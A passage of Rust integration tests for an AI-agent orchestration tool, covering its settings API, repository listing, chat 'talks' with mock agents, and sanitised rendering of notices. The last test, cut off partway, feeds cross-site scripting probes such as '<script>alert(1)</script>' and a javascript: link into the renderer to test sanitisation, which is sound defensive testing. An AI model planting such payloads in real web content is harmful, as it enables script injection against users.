12983 let root = tmp.path().join("roots");
12984 let selected = root.join("host/owner/selected");
12985 settings_checkout(
12986 &selected,
12987 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12988 )
12989 .await;
12990 let broken = root.join("host/owner/broken");
12991 settings_checkout(&broken, "[roles\nbroken").await;
12992 let machine_text = format!(
12993 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12994 toml::Value::String(root.display().to_string())
12995 );
12996 std::fs::write(&machine, &machine_text).unwrap();
12997 let originals: Vec<_> = [&repo, &selected, &broken]
12998 .iter()
12999 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13000 .collect();
13001 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13002 let default = f.get("/api/settings").await.json();
13003 assert_eq!(
13004 default["repo"],
13005 repo.canonicalize().unwrap().display().to_string()
13006 );
13007 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13008 let query = format!("?repo={}", selected.display());
13009 let res = f.get(&format!("/api/settings{query}")).await;
13010 assert_eq!(res.status, 200, "{}", res.body);
13011 let v = res.json();
13012 assert!(v["error"].is_null(), "{v}");
13013 assert_eq!(v["repositories"], default["repositories"]);
13014 let role = |key: &str| {
13015 v["roles"]
13016 .as_array()
13017 .unwrap()
13018 .iter()
13019 .find(|r| r["key"] == key)
13020 .unwrap()
13021 };
13022 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13023 assert_eq!(role("advisors")["source"], "repo");
13024 assert_eq!(role("advisors")["editable"], false);
13025 assert!(role("advisors")["machine_value"].is_null());
13026 assert_eq!(role("judges")["count"]["value"], 2);
13027 assert_eq!(role("judges")["count"]["machine_value"], 1);
13028 assert_eq!(role("judges")["count"]["source"], "repo");
13029 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13030 assert!(
13031 source.contains("origin/main") && !source.contains("magi/config/"),
13032 "{source}"
13033 );
13034 assert_eq!(
13035 role("reviewers")["editable"],
13036 false,
13037 "default context outside roots must protect its declarations"
13038 );
13039 let body =
13040 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13041 let unknown = format!("?repo={}", tmp.path().display());
13042 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13043 assert_eq!(
13044 f.put(&format!("/api/settings/roles{unknown}"), &body)
13045 .await
13046 .status,
13047 422
13048 );
13049 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13050 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13051 .to_string();
13052 assert_eq!(
13053 f.put(&format!("/api/settings/roles{query}"), &refuse)
13054 .await
13055 .status,
13056 422
13057 );
13058 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13059 assert_eq!(saved.status, 200, "{}", saved.body);
13060 assert_eq!(saved.json()["repo"], v["repo"]);
13061 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13062 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13063 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13064 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13065 }
13066 let error = f
13067 .get(&format!("/api/settings?repo={}", broken.display()))
13068 .await;
13069 assert_eq!(error.status, 200);
13070 assert!(error.json()["error"]["message"].is_string());
13071 assert_eq!(error.json()["repositories"], default["repositories"]);
13072 }
13073
13074 #[tokio::test]
13075 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13076 let (_tmp, repo, machine) =
13077 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13078 let f = Fixture::with_repo_and_machine(repo, machine).await;
13079 let res = f.get("/api/settings").await;
13080 assert_eq!(res.status, 200, "{}", res.body);
13081 let v = res.json();
13082 assert!(v["error"].is_null(), "{v}");
13083 let role = |k: &str| {
13084 v["roles"]
13085 .as_array()
13086 .and_then(|r| r.iter().find(|x| x["key"] == k))
13087 .cloned()
13088 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13089 };
13090 assert_eq!(role("judges")["source"], "machine");
13091 assert_eq!(role("judges")["editable"], true);
13092 assert_eq!(role("implementers")["source"], "default");
13093 let adv = role("advisors");
13094 assert_eq!(adv["fallback"], "judges");
13095 assert!(
13096 adv["seats"]
13097 .as_array()
13098 .is_some_and(|s| s.iter().all(|x| x == "b")),
13099 "{adv}"
13100 );
13101 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13102 assert_eq!(v["agents"][0]["source"], "repo");
13103 }
13104
13105 #[tokio::test]
13106 async fn settings_get_reports_a_config_that_does_not_parse() {
13107 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13108 let f = Fixture::with_repo_and_machine(repo, machine).await;
13109 let res = f.get("/api/settings").await;
13110 assert_eq!(res.status, 200, "{}", res.body);
13111 let v = res.json();
13112 assert!(v["error"]["message"].is_string(), "{v}");
13113 assert!(
13114 v["error"]["path"]
13115 .as_str()
13116 .is_some_and(|p| p.ends_with("magi.toml")),
13117 "{v}"
13118 );
13119 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13120 }
13121
13122 #[tokio::test]
13123 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13124 let (_tmp, repo, machine) = settings_dirs(
13125 SETTINGS_AGENTS,
13126 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13127 );
13128 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13129 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13130 let rev = f.get("/api/settings").await.json()["revision"]
13131 .as_str()
13132 .expect("revision")
13133 .to_owned();
13134 let body = serde_json::json!({
13135 "revision": rev,
13136 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13137 })
13138 .to_string();
13139 let res = f.put("/api/settings/roles", &body).await;
13140 assert_eq!(res.status, 200, "{}", res.body);
13141 let text = std::fs::read_to_string(&machine).expect("machine");
13142 assert_eq!(
13143 text,
13144 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13145 );
13146 assert_eq!(
13147 std::fs::read(repo.join("magi.toml")).expect("read"),
13148 repo_before
13149 );
13150 let again = f.get("/api/settings").await.json();
13151 let judges = again["roles"]
13152 .as_array()
13153 .expect("roles")
13154 .iter()
13155 .find(|r| r["key"] == "judges")
13156 .expect("judges")
13157 .clone();
13158 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13159 let stale = f.put("/api/settings/roles", &body).await;
13161 assert_eq!(stale.status, 409, "{}", stale.body);
13162 }
13163
13164 #[tokio::test]
13165 async fn settings_counts_are_reported_and_saved() {
13166 let (_tmp, repo, machine) = settings_dirs(
13167 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13168 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13169 );
13170 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13171 let v = f.get("/api/settings").await.json();
13172 let count = |v: &serde_json::Value, k: &str| {
13173 v["roles"]
13174 .as_array()
13175 .and_then(|r| r.iter().find(|x| x["key"] == k))
13176 .map(|x| x["count"].clone())
13177 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13178 };
13179 let imp = count(&v, "implementers");
13180 assert_eq!(imp["value"], 2);
13181 assert_eq!(imp["source"], "machine");
13182 assert_eq!(imp["file_key"], "candidates");
13183 assert_eq!(imp["roster_len"], 2);
13184 assert_eq!(imp["backups"], 0);
13185 assert_eq!(count(&v, "judges")["source"], "default");
13186 assert_eq!(count(&v, "advisors")["min"], 0);
13187 assert_eq!(count(&v, "reviewers")["editable"], false);
13188 assert!(
13189 count(&v, "reviewers")["locked_reason"]
13190 .as_str()
13191 .is_some_and(|m| m.contains("graph.reviewers"))
13192 );
13193 assert!(count(&v, "fixer").is_null());
13194 let rev = v["revision"].as_str().expect("revision").to_owned();
13195 let body = serde_json::json!({
13196 "revision": rev,
13197 "roles": { "judges": ["b"] },
13198 "counts": { "implementers": 1, "advisors": 0 }
13199 })
13200 .to_string();
13201 let res = f.put("/api/settings/roles", &body).await;
13202 assert_eq!(res.status, 200, "{}", res.body);
13203 let text = std::fs::read_to_string(&machine).expect("machine");
13204 assert_eq!(
13205 text,
13206 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13207 );
13208 let after = f.get("/api/settings").await.json();
13209 assert_eq!(count(&after, "implementers")["value"], 1);
13210 assert_eq!(count(&after, "implementers")["backups"], 1);
13211 assert_eq!(count(&after, "advisors")["value"], 0);
13212 let before = std::fs::read_to_string(&machine).expect("machine");
13213 let rev = after["revision"].as_str().expect("revision").to_owned();
13214 for counts in [
13215 serde_json::json!({ "judges": 0 }),
13216 serde_json::json!({ "judges": "x" }),
13217 serde_json::json!({ "judges": 2.5 }),
13218 serde_json::json!({ "judges": -1 }),
13219 serde_json::json!({ "reviewers": 3 }),
13220 serde_json::json!({ "bogus": 3 }),
13221 ] {
13222 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13223 let res = f.put("/api/settings/roles", &body).await;
13224 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13225 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13226 }
13227 }
13228
13229 #[tokio::test]
13230 async fn settings_put_refuses_without_touching_the_file() {
13231 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13232 let (_tmp, repo, machine) = settings_dirs(
13233 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13234 Some(machine_text),
13235 );
13236 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13237 let rev = f.get("/api/settings").await.json()["revision"]
13238 .as_str()
13239 .expect("revision")
13240 .to_owned();
13241 for roles in [
13242 serde_json::json!({ "judges": ["nope"] }),
13243 serde_json::json!({ "reviewers": ["b"] }),
13244 serde_json::json!({ "bogus": ["a"] }),
13245 ] {
13246 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13247 let res = f.put("/api/settings/roles", &body).await;
13248 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13249 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13250 assert_eq!(
13251 std::fs::read_to_string(&machine).expect("machine"),
13252 machine_text
13253 );
13254 }
13255 }
13256
13257 #[tokio::test]
13258 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13259 let tmp = TempDir::new().expect("tempdir");
13260 let repo = tmp.path().join("repo");
13261 std::fs::create_dir_all(&repo).expect("repo dir");
13262 let root = tmp.path().join("root");
13263 make_checkout(&root, "github.com", "yukimemi", "magi");
13264 std::fs::write(
13265 repo.join("magi.toml"),
13266 format!(
13267 "[repos]\nroots = [{:?}]\n",
13268 root.to_string_lossy().into_owned()
13269 ),
13270 )
13271 .expect("write magi.toml");
13272
13273 let f = Fixture::with_repo(repo).await;
13274 let res = f.get("/api/repos").await;
13275 assert_eq!(res.status, 200, "{}", res.body);
13276 let list = res.json();
13277 let repos = list.as_array().expect("an array");
13278 assert_eq!(repos.len(), 1);
13279 assert_eq!(repos[0]["name"], "yukimemi/magi");
13280 assert!(
13281 repos[0]["path"]
13282 .as_str()
13283 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13284 "{list}"
13285 );
13286 }
13287
13288 #[tokio::test]
13289 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13290 let tmp = TempDir::new().expect("tempdir");
13291 let repo = tmp.path().join("repo");
13292 std::fs::create_dir_all(&repo).expect("repo dir");
13293 let root = tmp.path().join("root");
13294 make_checkout(&root, "github.com", "yukimemi", "magi");
13295 std::fs::write(
13296 repo.join("magi.toml"),
13297 format!(
13298 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13299 root.to_string_lossy().into_owned()
13300 ),
13301 )
13302 .expect("write magi.toml");
13303
13304 let f = Fixture::with_repo(repo).await;
13305 let first = f.get("/api/repos").await;
13306 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13307
13308 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13311 let second = f.get("/api/repos").await;
13312 assert_eq!(
13313 second.json().as_array().map(Vec::len),
13314 Some(1),
13315 "a fresh cache must not rescan inside the TTL"
13316 );
13317
13318 let refreshed = f.get("/api/repos?refresh=1").await;
13319 assert_eq!(
13320 refreshed.json().as_array().map(Vec::len),
13321 Some(2),
13322 "an explicit refresh must rescan even inside the TTL"
13323 );
13324 }
13325
13326 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13332
13333 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13337 let tmp = TempDir::new().expect("tempdir");
13338 let repo = tmp.path().join("repo");
13339 std::fs::create_dir_all(&repo).expect("repo dir");
13340 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13341 let f = Fixture::with_repo(repo.clone()).await;
13342 (tmp, repo, f)
13343 }
13344
13345 #[tokio::test]
13346 async fn posting_a_talk_with_remembered_choices_is_soft() {
13347 let (_tmp, _repo, f) = talk_fixture().await;
13348
13349 let good = f
13350 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13351 .await;
13352 assert_eq!(good.status, 201, "{}", good.body);
13353 assert_eq!(good.json()["persona"], "rei");
13354
13355 let stale = f
13357 .post(
13358 "/api/talks",
13359 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13360 )
13361 .await;
13362 assert_eq!(stale.status, 201, "{}", stale.body);
13363 let v = stale.json();
13364 assert_eq!(v["implementers"], 1);
13365 assert_ne!(v["persona"], "nobody");
13366 let typed = f
13367 .post(
13368 "/api/talks",
13369 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13370 )
13371 .await;
13372 assert_eq!(typed.status, 201, "{}", typed.body);
13373
13374 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13376 assert!(
13377 !strict.status.to_string().starts_with('2'),
13378 "{}",
13379 strict.body
13380 );
13381 }
13382
13383 #[tokio::test]
13384 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13385 let (_tmp, _repo, f) = talk_fixture().await;
13386
13387 let opened = f.post("/api/talks", None).await;
13390 assert_eq!(opened.status, 201, "{}", opened.body);
13391 let body = opened.json();
13392 assert_eq!(body["status"], "open");
13393 assert_eq!(
13394 body["turns"].as_array().unwrap().len(),
13395 0,
13396 "opening takes no agent turn: there is nothing yet to answer"
13397 );
13398
13399 let also_opened = f.post("/api/talks", Some("{}")).await;
13401 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13402
13403 let listed = f.get("/api/talks").await.json();
13404 assert_eq!(listed.as_array().unwrap().len(), 2);
13405 }
13406
13407 #[tokio::test]
13408 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13409 let tmp = TempDir::new().expect("tempdir");
13410 let repo = tmp.path().join("repo");
13411 std::fs::create_dir_all(&repo).expect("repo dir");
13412 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13413 std::fs::write(
13414 repo.join("magi.toml"),
13415 format!("{MOCK_AGENT_TOML}\n{second}"),
13416 )
13417 .expect("write magi.toml");
13418 let home = TempDir::new().expect("temp home");
13419 let talks = Talks::at(home.path().join("talks"));
13420 let ui = Arc::new(
13421 Ui::new(
13422 Queue::at(home.path().join("queue")),
13423 Questions::at(home.path().join("questions")),
13424 talks.clone(),
13425 home.path().join("runs"),
13426 home.path().to_path_buf(),
13427 repo.clone(),
13428 )
13429 .with_worktrees_root(home.path().join("wt")),
13430 );
13431 let cfg = config_for(&repo).await.expect("discover config");
13432 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13433 let id = talk.id.clone();
13434 let call = |agent: &str| {
13435 talk_agent(
13436 State(Arc::clone(&ui)),
13437 Path(id.clone()),
13438 Json(TalkAgent {
13439 agent: agent.to_owned(),
13440 }),
13441 )
13442 };
13443
13444 let unknown = call("nobody").await.expect_err("unknown agent");
13445 assert_eq!(
13446 unknown.status,
13447 StatusCode::BAD_REQUEST,
13448 "{}",
13449 unknown.message
13450 );
13451
13452 {
13453 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13456 let busy = call("second").await.expect_err("busy talk");
13457 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13458 assert!(
13459 busy.message.contains("a talk turn is running"),
13460 "{}",
13461 busy.message
13462 );
13463 drop(guard);
13464 }
13465 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13466
13467 let Json(view) = call("second").await.expect("switch");
13468 assert_eq!(view.talk.agent, "second");
13469 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13470 let saved = talks.get(&id).expect("reload");
13471 assert_eq!(saved.agent, "second");
13472 assert_eq!(saved.turns.len(), 1);
13473 assert!(!view.thinking);
13474 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13475 for agent in ["mock", "second"] {
13476 let Json(view) = call(agent).await.expect("immediate consecutive change");
13477 assert_eq!(view.talk.agent, agent);
13478 assert!(!view.thinking);
13479 assert!(!ui.is_thinking(&id));
13480 }
13481
13482 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13483 .await
13484 .expect("detail");
13485 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13486 assert_eq!(roster, ["mock", "second"]);
13487
13488 let mut closed = talks.get(&id).expect("reload");
13489 talk::close(&mut closed, &talks).expect("close");
13490 let refused = call("mock").await.expect_err("closed talk");
13491 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13492 assert!(
13493 refused.message.contains("takes no more turns"),
13494 "{}",
13495 refused.message
13496 );
13497 }
13498
13499 #[tokio::test]
13500 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13501 let tmp = TempDir::new().expect("tempdir");
13502 let repo = tmp.path().join("repo");
13503 std::fs::create_dir_all(&repo).expect("repo dir");
13504 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13505 let home = TempDir::new().expect("temp home");
13506 let talks = Talks::at(home.path().join("talks"));
13507 let ui = Arc::new(
13508 Ui::new(
13509 Queue::at(home.path().join("queue")),
13510 Questions::at(home.path().join("questions")),
13511 talks.clone(),
13512 home.path().join("runs"),
13513 home.path().to_path_buf(),
13514 repo.clone(),
13515 )
13516 .with_worktrees_root(home.path().join("wt")),
13517 );
13518 let cfg = config_for(&repo).await.expect("discover config");
13519 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13520 let id = talk.id.clone();
13521 let call = |n: u8| {
13522 talk_implementers(
13523 State(Arc::clone(&ui)),
13524 Path(id.clone()),
13525 Json(TalkImplementers { implementers: n }),
13526 )
13527 };
13528
13529 for bad in [0u8, 4] {
13530 let e = call(bad).await.expect_err("out of range");
13531 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13532 }
13533 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13534
13535 {
13536 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13539 let busy = call(2).await.expect_err("busy talk");
13540 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13541 assert!(
13542 busy.message.contains("a talk turn is running"),
13543 "{}",
13544 busy.message
13545 );
13546 drop(guard);
13547 }
13548
13549 let Json(view) = call(3).await.expect("switch");
13550 assert_eq!(view.talk.implementers, 3);
13551 assert!(talks.get(&id).expect("reload").implementers_dirty);
13552 assert!(!view.thinking);
13553 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13554 for n in [1, 2, 3] {
13555 let Json(view) = call(n).await.expect("immediate consecutive change");
13556 assert_eq!(view.talk.implementers, n);
13557 assert!(!view.thinking);
13558 assert!(!ui.is_thinking(&id));
13559 }
13560
13561 let mut closed = talks.get(&id).expect("reload");
13562 talk::close(&mut closed, &talks).expect("close");
13563 let e = call(2).await.expect_err("closed talk");
13564 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13565 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13566 }
13567
13568 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13570 let tmp = TempDir::new().expect("tempdir");
13571 let repo = tmp.path().join("repo");
13572 std::fs::create_dir_all(&repo).expect("repo dir");
13573 std::fs::write(
13574 repo.join("magi.toml"),
13575 format!("{MOCK_AGENT_TOML}\n{extra}"),
13576 )
13577 .expect("write magi.toml");
13578 let home = TempDir::new().expect("temp home");
13579 let talks = Talks::at(home.path().join("talks"));
13580 let ui = Arc::new(
13581 Ui::new(
13582 Queue::at(home.path().join("queue")),
13583 Questions::at(home.path().join("questions")),
13584 talks.clone(),
13585 home.path().join("runs"),
13586 home.path().to_path_buf(),
13587 repo.clone(),
13588 )
13589 .with_worktrees_root(home.path().join("wt")),
13590 );
13591 let cfg = config_for(&repo).await.expect("discover config");
13592 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13593 (tmp, home, ui, talk.id, repo)
13594 }
13595
13596 #[tokio::test]
13597 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13598 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13599 let mut conversation = ui.talks.get(&id).unwrap();
13600 talk::record(
13601 &mut conversation,
13602 &ui.talks,
13603 "# Update on a task you filed\noperator words",
13604 vec![],
13605 )
13606 .unwrap();
13607 conversation.turns[0].sender = None;
13609 conversation.turns[0].messages.clear();
13610 ui.talks.put(&mut conversation).unwrap();
13611 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13612 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13613 talk::drain(&mut conversation, &ui.talks).unwrap();
13614 talk::record_reply(
13615 &mut conversation,
13616 &ui.talks,
13617 "about that report",
13618 vec![],
13619 Some(talk::ReplyTarget {
13620 turn: 1,
13621 message: 1,
13622 }),
13623 )
13624 .unwrap();
13625 conversation.turns[2].messages[0]
13626 .reply
13627 .as_mut()
13628 .unwrap()
13629 .sender = None;
13630 conversation.turns.push(talk::Turn {
13631 sender: Some(talk::Sender::Persona),
13632 who: talk::Who::Agent,
13633 body: "magi: actual persona words".into(),
13634 at: Timestamp::now(),
13635 attachments: vec![],
13636 usage: None,
13637 breaks: None,
13638 messages: vec![],
13639 posted_by: None,
13640 });
13641 ui.talks.put(&mut conversation).unwrap();
13642 let view = TalkView::with_config(
13643 ui.talks.get(&id).unwrap(),
13644 false,
13645 None,
13646 &ui.home,
13647 &ui.references,
13648 );
13649 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13650 assert_eq!(
13651 view.talk.turns[1].messages[0].sender,
13652 Some(talk::Sender::Operator)
13653 );
13654 assert_eq!(
13655 view.talk.turns[1].messages[1].sender,
13656 Some(talk::Sender::Magi)
13657 );
13658 assert_eq!(
13659 view.talk.turns[2].messages[0]
13660 .reply
13661 .as_ref()
13662 .unwrap()
13663 .sender,
13664 Some(talk::Sender::Magi)
13665 );
13666 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13667 assert_eq!(view.turn_messages_md[0].len(), 1);
13668 assert!(view.turn_messages_md[0][0].is_none());
13669 assert!(view.turn_messages_md[1][0].is_none());
13670 assert!(view.turn_messages_md[1][1].is_some());
13671 }
13672
13673 #[tokio::test]
13674 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13675 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13676 let mut conversation = ui.talks.get(&id).unwrap();
13677 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13678 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13679 talk::queue_notice(
13680 &mut conversation,
13681 &ui.talks,
13682 &body,
13683 "watch:123",
13684 &|_| false,
13685 None,
13686 display.clone(),
13687 )
13688 .unwrap();
13689 assert!(
13690 !talk::queue_notice(
13691 &mut conversation,
13692 &ui.talks,
13693 &body,
13694 "watch:123",
13695 &|_| false,
13696 None,
13697 display.clone()
13698 )
13699 .unwrap()
13700 );
13701 let saved = ui.talks.get(&id).unwrap();
13702 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13703 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13704 assert!(
13705 view.talk.turns[0].messages[0].display.is_none(),
13706 "operator copy stays literal"
13707 );
13708 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13709 assert!(view.turn_messages_md[0][0].is_none());
13710 let queued_md = view.pending_messages_md[0].clone();
13711 assert_eq!(
13712 queued_md,
13713 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13714 );
13715 talk::drain(&mut conversation, &ui.talks).unwrap();
13716 talk::record_reply(
13717 &mut conversation,
13718 &ui.talks,
13719 "Explain",
13720 vec![],
13721 Some(talk::ReplyTarget {
13722 turn: 1,
13723 message: 0,
13724 }),
13725 )
13726 .unwrap();
13727 let mut saved = ui.talks.get(&id).unwrap();
13728 assert_eq!(saved.turns[1].messages[0].body, body);
13729 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13730 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13731 assert!(!reply.excerpt.contains("automatic report"));
13732 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13735 let view = TalkView::with_config(
13736 ui.talks.get(&id).unwrap(),
13737 false,
13738 None,
13739 &ui.home,
13740 &ui.references,
13741 );
13742 assert_eq!(view.turn_messages_md[1][0], queued_md);
13743 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13744 assert!(
13745 !view.talk.turns[2].messages[0]
13746 .reply
13747 .as_ref()
13748 .unwrap()
13749 .excerpt
13750 .contains("automatic report")
13751 );
13752 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13753 }
13754
13755 #[tokio::test]
13756 async fn consultation_display_hides_directives_in_queue_and_history() {
13757 for node in [
13758 "implement",
13759 crate::land::APPROVAL_NODE,
13760 crate::github_text::ASK_NODE,
13761 ] {
13762 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13763 let mut question = Question::new(
13764 "run-123".into(),
13765 node.into(),
13766 "seat-1".into(),
13767 "Which backend?".into(),
13768 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13769 vec!["SQLite".into(), "Redis".into()],
13770 );
13771 ui.questions.put(&mut question).unwrap();
13772 let body = crate::prompt::chat_consult(&question);
13773 let mut conversation = ui.talks.get(&id).unwrap();
13774 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13775 assert!(
13776 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13777 );
13778 conversation = ui.talks.get(&id).unwrap();
13779 assert_eq!(conversation.pending_messages[0].body, body);
13780 assert!(body.contains("magi answer"));
13781 let mut legacy_pending = conversation.clone();
13782 legacy_pending.pending_messages[0].display = None;
13783 let legacy_view =
13784 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13785 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13786 assert!(legacy_md.contains("Question consultation"));
13787 assert!(!legacy_md.contains("magi answer"));
13788 let view =
13789 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13790 assert!(
13791 view.turn_messages_md[0][0].is_none(),
13792 "operator copy stays literal"
13793 );
13794 let queued_md = view.pending_messages_md[0].clone().unwrap();
13795 let rendered = serde_json::to_string(&queued_md).unwrap();
13796 for visible in [
13797 "Which backend?",
13798 "Context",
13799 "storage",
13800 "SQLite",
13801 "Redis",
13802 "<script>literal</script>",
13803 ] {
13804 assert!(rendered.contains(visible), "missing {visible}");
13805 }
13806 for directive in [
13807 "What to do",
13808 "magi answer",
13809 "Never answer it yourself",
13810 "Do not edit the repository",
13811 ] {
13812 assert!(!rendered.contains(directive), "exposed {directive}");
13813 }
13814 assert_eq!(
13815 view.talk.pending_messages[0].display,
13816 Some(crate::prompt::chat_consult_display(&question))
13817 );
13818 talk::drain(&mut conversation, &ui.talks).unwrap();
13819 let view =
13820 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13821 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13822 assert_eq!(conversation.turns[1].messages[0].body, body);
13823
13824 conversation.turns[1].messages[0].display = None;
13827 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13828 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13829 assert!(legacy.contains("Question consultation"));
13830 assert!(!legacy.contains("magi answer"));
13831 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13832 }
13833 }
13834
13835 #[test]
13836 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13837 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13838 let (body, mut display) =
13839 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13840 display.facts = facts.into();
13841 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13842 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13843 let json = serde_json::to_string(&nodes).unwrap();
13844 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13845 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13846 }
